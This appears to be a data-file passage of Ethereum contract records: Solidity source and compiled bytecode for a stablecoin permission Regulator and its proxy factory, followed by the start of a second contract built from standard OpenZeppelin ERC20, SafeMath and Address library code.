require(isPermission(APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG), "Blacklist spending not supported by token"); setUserPermission(_who, APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG); emit LogSetBlacklistSpender(_who); } /** * @notice Removes the necessary permissions for a user to spend tokens from a blacklisted account. * @param _who The address of the account that we are removing permissions for. */ function removeBlacklistSpender(address _who) public onlyValidator { require(isPermission(APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG), "Blacklist spending not supported by token"); removeUserPermission(_who, APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG); emit LogRemovedBlacklistSpender(_who); } /** * @notice Sets the necessary permissions for a user to destroy tokens from a blacklisted account. * @param _who The address of the account that we are setting permissions for. */ function setBlacklistDestroyer(address _who) public onlyValidator { require(isPermission(DESTROY_BLACKLISTED_TOKENS_SIG), "Blacklist token destruction not supported by token"); setUserPermission(_who, DESTROY_BLACKLISTED_TOKENS_SIG); emit LogSetBlacklistDestroyer(_who); } /** * @notice Removes the necessary permissions for a user to destroy tokens from a blacklisted account. * @param _who The address of the account that we are removing permissions for. */ function removeBlacklistDestroyer(address _who) public onlyValidator { require(isPermission(DESTROY_BLACKLISTED_TOKENS_SIG), "Blacklist token destruction not supported by token"); removeUserPermission(_who, DESTROY_BLACKLISTED_TOKENS_SIG); emit LogRemovedBlacklistDestroyer(_who); } /** * @notice Sets the necessary permissions for a "whitelisted" user. * @param _who The address of the account that we are setting permissions for. */ function setWhitelistedUser(address _who) public onlyValidator { _setWhitelistedUser(_who); } /** * @notice Sets the necessary permissions for a "blacklisted" user. A blacklisted user has their accounts * frozen; they cannot transfer, burn, or withdraw any tokens. * @param _who The address of the account that we are setting permissions for. */ function setBlacklistedUser(address _who) public onlyValidator { _setBlacklistedUser(_who); } /** * @notice Sets the necessary permissions for a "nonlisted" user. Nonlisted users can trade tokens, * but cannot burn them (and therefore cannot convert them into fiat.) * @param _who The address of the account that we are setting permissions for. */ function setNonlistedUser(address _who) public onlyValidator { _setNonlistedUser(_who); } /** Returns whether or not a user is whitelisted. * @param _who The address of the account in question. * @return `true` if the user is whitelisted, `false` otherwise. */ function isWhitelistedUser(address _who) public view returns (bool) { return (hasUserPermission(_who, BURN_SIG) && !hasUserPermission(_who, BLACKLISTED_SIG)); } /** Returns whether or not a user is blacklisted. * @param _who The address of the account in question. * @return `true` if the user is blacklisted, `false` otherwise. */ function isBlacklistedUser(address _who) public view returns (bool) { return (!hasUserPermission(_who, BURN_SIG) && hasUserPermission(_who, BLACKLISTED_SIG)); } /** Returns whether or not a user is nonlisted. * @param _who The address of the account in question. * @return `true` if the user is nonlisted, `false` otherwise. */ function isNonlistedUser(address _who) public view returns (bool) { return (!hasUserPermission(_who, BURN_SIG) && !hasUserPermission(_who, BLACKLISTED_SIG)); } /** Returns whether or not a user is a blacklist spender. * @param _who The address of the account in question. * @return `true` if the user is a blacklist spender, `false` otherwise. */ function isBlacklistSpender(address _who) public view returns (bool) { return hasUserPermission(_who, APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG); } /** Returns whether or not a user is a blacklist destroyer. * @param _who The address of the account in question. * @return `true` if the user is a blacklist destroyer, `false` otherwise. */ function isBlacklistDestroyer(address _who) public view returns (bool) { return hasUserPermission(_who, DESTROY_BLACKLISTED_TOKENS_SIG); } /** Returns whether or not a user is a minter. * @param _who The address of the account in question. * @return `true` if the user is a minter, `false` otherwise. */ function isMinter(address _who) public view returns (bool) { return hasUserPermission(_who, MINT_SIG); } /** Internal Functions **/ function _setMinter(address _who) internal { require(isPermission(MINT_SIG), "Minting not supported by token"); setUserPermission(_who, MINT_SIG); emit LogSetMinter(_who); } function _removeMinter(address _who) internal { require(isPermission(MINT_SIG), "Minting not supported by token"); removeUserPermission(_who, MINT_SIG); emit LogRemovedMinter(_who); } function _setNonlistedUser(address _who) internal { require(isPermission(BURN_SIG), "Burn method not supported by token"); require(isPermission(BLACKLISTED_SIG), "Self-destruct method not supported by token"); removeUserPermission(_who, BURN_SIG); removeUserPermission(_who, BLACKLISTED_SIG); emit LogNonlistedUser(_who); } function _setBlacklistedUser(address _who) internal { require(isPermission(BURN_SIG), "Burn method not supported by token"); require(isPermission(BLACKLISTED_SIG), "Self-destruct method not supported by token"); removeUserPermission(_who, BURN_SIG); setUserPermission(_who, BLACKLISTED_SIG); emit LogBlacklistedUser(_who); } function _setWhitelistedUser(address _who) internal { require(isPermission(BURN_SIG), "Burn method not supported by token"); require(isPermission(BLACKLISTED_SIG), "Self-destruct method not supported by token"); setUserPermission(_who, BURN_SIG); removeUserPermission(_who, BLACKLISTED_SIG); emit LogWhitelistedUser(_who); } } /** * * @dev RegulatorProxyFactory creates new RegulatorProxy contracts with new data storage sheets, properly configured * with ownership, and the proxy logic implementations are based on a user-specified Regulator. * **/ contract RegulatorProxyFactory { // TODO: Instead of a single array of addresses, this should be a mapping or an array // of objects of type { address: ...new_regulator, type: whitelisted_or_cusd } address[] public regulators; // Events event CreatedRegulatorProxy(address newRegulator, uint256 index); /** * * @dev generate a new proxyaddress that users can cast to a Regulator or RegulatorProxy. The * proxy has empty data storage contracts connected to it and it is set with an initial logic contract * to which it will delegate functionality * @notice the method caller will have to claim ownership of regulators since regulators are claimable * @param regulatorImplementation the address of the logic contract that the proxy will initialize its implementation to * **/ function createRegulatorProxy(address regulatorImplementation) public { // Store new data storage contracts for regulator proxy address proxy = address(new RegulatorProxy(regulatorImplementation)); Regulator newRegulator = Regulator(proxy); // Testing: Add msg.sender as a validator, add all permissions newRegulator.addValidator(msg.sender); addAllPermissions(newRegulator); // The function caller should own the proxy contract, so they will need to claim ownership RegulatorProxy(proxy).transferOwnership(msg.sender); regulators.push(proxy); emit CreatedRegulatorProxy(proxy, getCount()-1); } /** * * @dev Add all permission signatures to regulator * **/ function addAllPermissions(Regulator regulator) public { // Make this contract a temporary validator to add all permissions regulator.addValidator(this); regulator.addPermission(regulator.MINT_SIG(), "", "", "" ); regulator.addPermission(regulator.BURN_SIG(), "", "", "" ); regulator.addPermission(regulator.DESTROY_BLACKLISTED_TOKENS_SIG(), "", "", "" ); regulator.addPermission(regulator.APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG(), "", "", "" ); regulator.addPermission(regulator.BLACKLISTED_SIG(), "", "", "" ); regulator.addPermission(regulator.CONVERT_CARBON_DOLLAR_SIG(), "", "", "" ); regulator.addPermission(regulator.BURN_CARBON_DOLLAR_SIG(), "", "", "" ); regulator.addPermission(regulator.MINT_CUSD_SIG(), "", "", "" ); regulator.addPermission(regulator.CONVERT_WT_SIG(), "", "", "" ); regulator.removeValidator(this); } // Return number of proxies created function getCount() public view returns (uint256) { return regulators.length; } // Return the i'th created proxy. The most recently created proxy will be at position getCount()-1. function getRegulatorProxy(uint256 i) public view returns(address) { require((i < regulators.length) && (i >= 0), "Invalid index"); return regulators[i]; } }
0x6080604052600436106100535763ffffffff60e060020a600035041663286ae97f811461005857806353986e751461007b5780635b508cf0146100af5780636ffa1ea7146100d0578063a87d942c146100e8575b600080fd5b34801561006457600080fd5b50610079600160a060020a036004351661010f565b005b34801561008757600080fd5b50610093600435610b0b565b60408051600160a060020a039092168252519081900360200190f35b3480156100bb57600080fd5b50610079600160a060020a0360043516610b33565b3480156100dc57600080fd5b50610093600435610d16565b3480156100f457600080fd5b506100fd610dbf565b60408051918252519081900360200190f35b604080517f4d238c8e0000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a03831691634d238c8e91602480830192600092919082900301818387803b15801561016f57600080fd5b505af1158015610183573d6000803e3d6000fd5b5050505080600160a060020a031663780bfed082600160a060020a03166388f14b0e6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156101d457600080fd5b505af11580156101e8573d6000803e3d6000fd5b505050506040513d60208110156101fe57600080fd5b50516040805160e060020a63ffffffff8516028152600160e060020a031990921660048301526080602483015260006084830181905260c0604484015260c483018190526101006064840152610104830181905290516101448084019382900301818387803b15801561027057600080fd5b505af1158015610284573d6000803e3d6000fd5b5050505080600160a060020a031663780bfed082600160a060020a031663cfbf1b906040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156102d557600080fd5b505af11580156102e9573d6000803e3d6000fd5b505050506040513d60208110156102ff57600080fd5b50516040805160e060020a63ffffffff8516028152600160e060020a031990921660048301526080602483015260006084830181905260c0604484015260c483018190526101006064840152610104830181905290516101448084019382900301818387803b15801561037157600080fd5b505af1158015610385573d6000803e3d6000fd5b5050505080600160a060020a031663780bfed082600160a060020a031663ab96cb466040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156103d657600080fd5b505af11580156103ea573d6000803e3d6000fd5b505050506040513d602081101561040057600080fd5b50516040805160e060020a63ffffffff8516028152600160e060020a031990921660048301526080602483015260006084830181905260c0604484015260c483018190526101006064840152610104830181905290516101448084019382900301818387803b15801561047257600080fd5b505af1158015610486573d6000803e3d6000fd5b5050505080600160a060020a031663780bfed082600160a060020a0316638f959f546040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156104d757600080fd5b505af11580156104eb573d6000803e3d6000fd5b505050506040513d602081101561050157600080fd5b50516040805160e060020a63ffffffff8516028152600160e060020a031990921660048301526080602483015260006084830181905260c0604484015260c483018190526101006064840152610104830181905290516101448084019382900301818387803b15801561057357600080fd5b505af1158015610587573d6000803e3d6000fd5b5050505080600160a060020a031663780bfed082600160a060020a0316639491951b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156105d857600080fd5b505af11580156105ec573d6000803e3d6000fd5b505050506040513d602081101561060257600080fd5b50516040805160e060020a63ffffffff8516028152600160e060020a031990921660048301526080602483015260006084830181905260c0604484015260c483018190526101006064840152610104830181905290516101448084019382900301818387803b15801561067457600080fd5b505af1158015610688573d6000803e3d6000fd5b5050505080600160a060020a031663780bfed082600160a060020a031663f9d505436040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156106d957600080fd5b505af11580156106ed573d6000803e3d6000fd5b505050506040513d602081101561070357600080fd5b50516040805160e060020a63ffffffff8516028152600160e060020a031990921660048301526080602483015260006084830181905260c0604484015260c483018190526101006064840152610104830181905290516101448084019382900301818387803b15801561077557600080fd5b505af1158015610789573d6000803e3d6000fd5b5050505080600160a060020a031663780bfed082600160a060020a031663c1c49cbb6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156107da57600080fd5b505af11580156107ee573d6000803e3d6000fd5b505050506040513d602081101561080457600080fd5b50516040805160e060020a63ffffffff8516028152600160e060020a031990921660048301526080602483015260006084830181905260c0604484015260c483018190526101006064840152610104830181905290516101448084019382900301818387803b15801561087657600080fd5b505af115801561088a573d6000803e3d6000fd5b5050505080600160a060020a031663780bfed082600160a060020a0316638b7c81096040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156108db57600080fd5b505af11580156108ef573d6000803e3d6000fd5b505050506040513d602081101561090557600080fd5b50516040805160e060020a63ffffffff8516028152600160e060020a031990921660048301526080602483015260006084830181905260c0604484015260c483018190526101006064840152610104830181905290516101448084019382900301818387803b15801561097757600080fd5b505af115801561098b573d6000803e3d6000fd5b5050505080600160a060020a031663780bfed082600160a060020a031663639c44cf6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156109dc57600080fd5b505af11580156109f0573d6000803e3d6000fd5b505050506040513d6020811015610a0657600080fd5b50516040805160e060020a63ffffffff8516028152600160e060020a031990921660048301526080602483015260006084830181905260c0604484015260c483018190526101006064840152610104830181905290516101448084019382900301818387803b158015610a7857600080fd5b505af1158015610a8c573d6000803e3d6000fd5b5050604080517f40a141ff0000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a03851693506340a141ff9250602480830192600092919082900301818387803b158015610af057600080fd5b505af1158015610b04573d6000803e3d6000fd5b5050505050565b6000805482908110610b1957fe5b600091825260209091200154600160a060020a0316905081565b60008082610b3f610dc5565b600160a060020a03909116815260405190819003602001906000f080158015610b6c573d6000803e3d6000fd5b50604080517f4d238c8e0000000000000000000000000000000000000000000000000000000081523360048201529051919350839250600160a060020a03831691634d238c8e9160248082019260009290919082900301818387803b158015610bd457600080fd5b505af1158015610be8573d6000803e3d6000fd5b50505050610bf58161010f565b604080517ff2fde38b0000000000000000000000000000000000000000000000000000000081523360048201529051600160a060020a0384169163f2fde38b91602480830192600092919082900301818387803b158015610c5557600080fd5b505af1158015610c69573d6000803e3d6000fd5b505060008054600180820183559180527f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e56301805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0387161790557f03c438f0cc356e051e1bcece6a83a35d5c1205342a7f62cc8c40d3b153fcc9009250849150610cef610dbf565b60408051600160a060020a03909416845291900360208301528051918290030190a1505050565b6000805482108015610d29575060008210155b1515610d9657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600d60248201527f496e76616c696420696e64657800000000000000000000000000000000000000604482015290519081900360640190fd5b6000805483908110610da457fe5b600091825260209091200154600160a060020a031692915050565b60005490565b60405161184180610dd683390190560060806040523480156200001157600080fd5b506040516020806200184183398101604081815291517f6f72672e7a657070656c696e6f732e70726f78792e696d706c656d656e74617482527f696f6e000000000000000000000000000000000000000000000000000000000060208301529151908190036023019020819060008051602062001821833981519152146200009557fe5b620000a981640100000000620000cf810204565b505060008054600160a060020a031990811633179091556001805490911690556200019a565b6000620000ea82640100000000620015606200019282021704565b15156200017e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603b60248201527f43616e6e6f742073657420612070726f787920696d706c656d656e746174696f60448201527f6e20746f2061206e6f6e2d636f6e747261637420616464726573730000000000606482015290519081900360840190fd5b506000805160206200182183398151915255565b6000903b1190565b61167780620001aa6000396000f3006080604052600436106101695763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166314db6d5881146101735780631830f493146101b55780631c870eee146103235780633659cfe614610351578063395a7b301461037257806340a141ff146103945780634d238c8e146103b55780634e71e0c8146103d65780635317e444146103eb5780635c60da1b14610419578063639c44cf1461044a578063780bfed01461047c5780638707e2f41461056057806388f14b0e1461058e5780638b7c8109146105a35780638da5cb5b146105b85780638f959f54146105cd578063933aa667146105e25780639491951b14610604578063ab96cb4614610619578063b8ccbd171461062e578063c1c49cbb14610650578063cfbf1b9014610665578063e30c39781461067a578063f2fde38b1461068f578063f9d50543146106b0578063fa52c7d8146106c5578063facd743b146106e6575b610171610707565b005b34801561017f57600080fd5b506101a1600160a060020a0360043516600160e060020a031960243516610721565b604080519115158252519081900360200190f35b3480156101c157600080fd5b506101d7600160e060020a031960043516610758565b604080518215156060820152608080825286519082015285519091829160208084019284019160a08501918a019080838360005b8381101561022357818101518382015260200161020b565b50505050905090810190601f1680156102505780820380516001836020036101000a031916815260200191505b50848103835287518152875160209182019189019080838360005b8381101561028357818101518382015260200161026b565b50505050905090810190601f1680156102b05780820380516001836020036101000a031916815260200191505b50848103825286518152865160209182019188019080838360005b838110156102e35781810151838201526020016102cb565b50505050905090810190601f1680156103105780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b34801561032f57600080fd5b50610171600160a060020a0360043516600160e060020a031960243516610945565b34801561035d57600080fd5b50610171600160a060020a0360043516610a69565b34801561037e57600080fd5b506101d7600160e060020a031960043516610a8c565b3480156103a057600080fd5b50610171600160a060020a0360043516610c60565b3480156103c157600080fd5b50610171600160a060020a0360043516610cc0565b3480156103e257600080fd5b50610171610d23565b3480156103f757600080fd5b50610171600160a060020a0360043516600160e060020a031960243516610dab565b34801561042557600080fd5b5061042e610ecc565b60408051600160a060020a039092168252519081900360200190f35b34801561045657600080fd5b5061045f610edc565b60408051600160e060020a03199092168252519081900360200190f35b34801561048857600080fd5b5060408051602060046024803582810135601f8101859004850286018501909652858552610171958335600160e060020a03191695369560449491939091019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750610f119650505050505050565b34801561056c57600080fd5b506101a1600160a060020a0360043516600160e060020a03196024351661104c565b34801561059a57600080fd5b5061045f61106c565b3480156105af57600080fd5b5061045f6110a1565b3480156105c457600080fd5b5061042e6110d6565b3480156105d957600080fd5b5061045f6110e5565b3480156105ee57600080fd5b506101a1600160e060020a031960043516611140565b34801561061057600080fd5b5061045f611162565b34801561062557600080fd5b5061045f611197565b34801561063a57600080fd5b50610171600160e060020a0319600435166111f2565b34801561065c57600080fd5b5061045f61129b565b34801561067157600080fd5b5061045f6112f6565b34801561068657600080fd5b5061042e61132b565b34801561069b57600080fd5b50610171600160a060020a036004351661133a565b3480156106bc57600080fd5b5061045f611395565b3480156106d157600080fd5b506101a1600160a060020a03600435166113f0565b3480156106f257600080fd5b506101a1600160a060020a0360043516611405565b61070f61071f565b61071f61071a611423565b611448565b565b600160a060020a0382166000908152600460209081526040808320600160e060020a03198516845290915290205460ff1692915050565b600160e060020a0319811660009081526002602081815260408084206003810154815483516101006001808416159190910260001901909216879004601f8101879004870282018701909552848152606097889788979196938601949086019360ff90911692918691908301828280156108135780601f106107e857610100808354040283529160200191610813565b820191906000526020600020905b8154815290600101906020018083116107f657829003601f168201915b5050865460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152959950889450925084019050828280156108a15780601f10610876576101008083540402835291602001916108a1565b820191906000526020600020905b81548152906001019060200180831161088457829003601f168201915b5050855460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529598508794509250840190508282801561092f5780601f106109045761010080835404028352916020019161092f565b820191906000526020600020905b81548152906001019060200180831161091257829003601f168201915b5050505050915093509350935093509193509193565b61094e33611405565b1515610992576040805160e560020a62461bcd028152602060048201526018602482015260008051602061162c833981519152604482015290519081900360640190fd5b600160e060020a0319811660009081526002602052604090206003015460ff161515610a2e576040805160e560020a62461bcd02815260206004820152603960248201527f5065726d697373696f6e206265696e6720736574206d75737420626520666f7260448201527f20612076616c6964206d6574686f64207369676e617475726500000000000000606482015290519081900360840190fd5b600160a060020a039091166000908152600460209081526040808320600160e060020a0319909416835292905220805460ff19166001179055565b600054600160a060020a03163314610a8057600080fd5b610a898161146c565b50565b600260208181526000928352604092839020805484516001821615610100026000190190911693909304601f8101839004830284018301909452838352928391830182828015610b1d5780601f10610af257610100808354040283529160200191610b1d565b820191906000526020600020905b815481529060010190602001808311610b0057829003601f168201915b505050505090806001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bbb5780601f10610b9057610100808354040283529160200191610bbb565b820191906000526020600020905b815481529060010190602001808311610b9e57829003601f168201915b50505060028085018054604080516020601f6000196101006001871615020190941695909504928301859004850281018501909152818152959695945090925090830182828015610c4d5780601f10610c2257610100808354040283529160200191610c4d565b820191906000526020600020905b815481529060010190602001808311610c3057829003601f168201915b5050506003909301549192505060ff1684565b600054600160a060020a03163314610c7757600080fd5b600160a060020a038116600081815260036020526040808220805460ff19169055517fe1434e25d6611e0db941968fdc97811c982ac1602e951637d206f5fdda9dd8f19190a250565b600054600160a060020a03163314610cd757600080fd5b600160a060020a038116600081815260036020526040808220805460ff19166001179055517fe366c1c0452ed8eec96861e9e54141ebff23c9ec89fe27b996b45f5ec38849879190a250565b600154600160a060020a03163314610d3a57600080fd5b60015460008054604051600160a060020a0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b610db433611405565b1515610df8576040805160e560020a62461bcd028152602060048201526018602482015260008051602061162c833981519152604482015290519081900360640190fd5b600160e060020a0319811660009081526002602052604090206003015460ff161515610e94576040805160e560020a62461bcd02815260206004820152603d60248201527f5065726d697373696f6e206265696e672072656d6f766564206d75737420626560448201527f20666f7220612076616c6964206d6574686f64207369676e6174757265000000606482015290519081900360840190fd5b600160a060020a039091166000908152600460209081526040808320600160e060020a0319909416835292905220805460ff19169055565b6000610ed6611423565b90505b90565b604080517f636f6e7665727457542875696e743235362900000000000000000000000000008152905190819003601201902081565b610f19611568565b610f2233611405565b1515610f66576040805160e560020a62461bcd028152602060048201526018602482015260008051602061162c833981519152604482015290519081900360640190fd5b5060408051608081018252848152602080820185905281830184905260016060830152600160e060020a03198716600090815260028252929092208151805192938493610fb69284920190611593565b506020828101518051610fcf9260018501920190611593565b5060408201518051610feb916002840191602090910190611593565b50606091909101516003909101805460ff191691151591909117905560408051600160e060020a03198716815290517f6195913f4ea9fc2f5193c9f6763975b23790b3be094b1eb18f31843739005512916020908290030190a15050505050565b600460209081526000928352604080842090915290825290205460ff1681565b604080517f6d696e7428616464726573732c75696e743235362900000000000000000000008152905190819003601501902081565b604080517f6d696e744355534428616464726573732c75696e7432353629000000000000008152905190819003601901902081565b600054600160a060020a031681565b604080517f617070726f7665426c61636b6c6973746564416464726573735370656e64657281527f28616464726573732900000000000000000000000000000000000000000000006020820152905190819003602901902081565b600160e060020a03191660009081526002602052604090206003015460ff1690565b604080517f626c61636b6c69737465642829000000000000000000000000000000000000008152905190819003600d01902081565b604080517f64657374726f79426c61636b6c6973746564546f6b656e73286164647265737381527f2c75696e743235362900000000000000000000000000000000000000000000006020820152905190819003602901902081565b6111fb33611405565b151561123f576040805160e560020a62461bcd028152602060048201526018602482015260008051602061162c833981519152604482015290519081900360640190fd5b600160e060020a03198116600081815260026020908152604091829020600301805460ff19169055815192835290517f65cd5526557cbd93f0739d00ffcdf8f4a663eb2ed509203d884b3470158724c19281900390910190a150565b604080517f6275726e436172626f6e446f6c6c617228616464726573732c75696e7432353681527f29000000000000000000000000000000000000000000000000000000000000006020820152905190819003602101902081565b604080517f6275726e2875696e7432353629000000000000000000000000000000000000008152905190819003600d01902081565b600154600160a060020a031681565b600054600160a060020a0316331461135157600080fd5b600160a060020a038116151561136657600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b604080517f636f6e76657274436172626f6e446f6c6c617228616464726573732c75696e7481527f32353629000000000000000000000000000000000000000000000000000000006020820152905190819003602401902081565b60036020526000908152604090205460ff1681565b600160a060020a031660009081526003602052604090205460ff1690565b7f7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c35490565b3660008037600080366000845af43d6000803e808015611467573d6000f35b3d6000fd5b611475816114b4565b60408051600160a060020a038316815290517fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b9181900360200190a150565b60006114bf82611560565b151561153b576040805160e560020a62461bcd02815260206004820152603b60248201527f43616e6e6f742073657420612070726f787920696d706c656d656e746174696f60448201527f6e20746f2061206e6f6e2d636f6e747261637420616464726573730000000000606482015290519081900360840190fd5b507f7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c355565b6000903b1190565b6080604051908101604052806060815260200160608152602001606081526020016000151581525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106115d457805160ff1916838001178555611601565b82800160010185558215611601579182015b828111156116015782518255916020019190600101906115e6565b5061160d929150611611565b5090565b610ed991905b8082111561160d5760008155600101611617560053656e646572206d7573742062652076616c696461746f720000000000000000a165627a7a72305820cc9fb92d196fd26c5df1ba01c3ac5c529d0b24e2434eddb99da751f6f21c88a500297050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3a165627a7a723058208be5093918ef4a75aefe2e2e01cd2e42264de57cd50d3192d98c22f1f0f1b2a90029
[ 1, 2, 19, 18 ]
0xf363e25a65164147a619e9205f82ffdcbad11bd5
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line 